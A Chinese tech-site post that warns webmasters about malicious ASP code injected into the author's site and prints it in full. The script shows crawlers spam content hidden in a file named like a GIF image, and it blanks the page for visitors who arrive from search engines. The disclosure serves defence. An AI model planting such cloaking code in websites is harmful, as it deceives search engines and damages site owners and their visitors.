当前位置： 移动技术网 > IT编程>开发语言>.net > 一段让asp程序在搜素引擎打不开的代码

一段让asp程序在搜素引擎打不开的代码

2018年09月30日  | 移动技术网IT编程  | 我要评论

徐若瑄的3极电影片,龙象风云决,网游之冰霜剑神

一段让程序在搜素引擎打不开的代码，把我的网站害苦了，现在把它的原形呈现如下，望广大朋友们及早防范：

 

[vb]  

<%  

function isspider()  

dim i,agent,searray  

agent="agent:"&lcase(request.servervariables("http_user_agent"))  

searray=array("googlebot","baiduspider","sogouspider","yahoo","sosospider")  

isspider= false  

for i=0 to ubound(searray)  

 if (instr(agent,searray(i))>0) then isspider=true  

next  

end function  

  

  

function fromse()  

dim urlrefer,searray,i  

urlrefer="refer:"&lcase(request.servervariables("http_referer"))  

fromse= false  

if urlrefer="" then fromse= false  

searray=array("google","baidu","sogou","yahoo","soso")  

for i=0 to ubound(searray)  

 if (instr(urlrefer,searray(i))>0) then fromse=true  

next  

end function  

  

  

  

if(isspider()) then  

  dim myfso,fileurl,filecon,myfile  

  fileurl=server.mappath("images/bg01.gif")  

  set myfso=server.createobject("scripting.filesystemobject")   

  if myfso.fileexists(fileurl) then   

    set myfile=myfso.opentextfile(fileurl, 1)  

    filecon=myfile.readall  

    response.write(filecon)  

    myfile.close   

    set myfile=nothing   

    set myfso=nothing  

    response.end  

  end if  

end if                                   

if (fromse()) then  

  response.write("<br/>")  

  response.end  

else  

end if  

%>  

 

您可能感兴趣的文章:

如对本文有疑问，请在下面进行留言讨论，广大热心网友会与你互动！！ 点击进行留言回复

相关文章:

验证码：
最近更新的文章
大家感兴趣的文章
移动技术网